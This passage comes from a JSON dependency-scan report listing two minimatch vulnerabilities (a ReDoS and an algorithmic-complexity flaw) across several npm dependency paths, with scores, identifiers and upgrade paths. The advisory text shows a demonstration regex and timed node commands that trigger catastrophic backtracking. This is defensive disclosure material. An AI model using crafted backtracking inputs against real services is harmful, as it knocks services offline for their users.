(ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-18T15:25:37.946137Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.39866", "probability": "0.00517", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-18T15:25:37.946137Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:35.567706Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.37130", "probability": "0.00472", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:35.567706Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": 